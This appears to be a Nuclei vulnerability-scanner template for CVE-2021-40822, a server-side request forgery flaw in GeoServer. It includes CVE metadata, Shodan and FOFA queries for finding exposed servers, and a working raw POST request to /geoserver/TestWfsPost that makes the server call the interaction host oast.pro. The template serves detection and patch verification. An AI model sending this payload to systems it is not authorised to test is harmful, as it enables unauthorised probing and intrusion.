59 lines
1.8 KiB
YAML
59 lines
1.8 KiB
YAML
id: CVE-2021-40822
|
|
|
|
info:
|
|
name: Geoserver - Server-Side Request Forgery
|
|
author: For3stCo1d,aringo-bf
|
|
severity: high
|
|
description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.
|
|
reference:
|
|
- https://gccybermonks.com/posts/cve-2021-40822/
|
|
- https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
|
|
- https://github.com/geoserver/geoserver/releases
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40822
|
|
- https://osgeo-org.atlassian.net/browse/GEOS-10229
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-40822
|
|
cwe-id: CWE-918
|
|
epss-score: 0.71633
|
|
epss-percentile: 0.97713
|
|
cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: osgeo
|
|
product: geoserver
|
|
shodan-query: title:"GeoServer"
|
|
fofa-query: app="GeoServer"
|
|
tags: cve,cve2021,ssrf,geoserver
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /geoserver/TestWfsPost HTTP/1.1
|
|
Host: oast.pro
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<b>Interactsh</b>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a004630440220498d83e60feb52899254ba8d572eb7684cf7be9ff4a9a980d298c4258c4459810220609eccf841c50b3f9ae5bbadf2f307cc26fbbac033611c683ea204503d549599:922c64590222798bb761d5b6d8e72950
|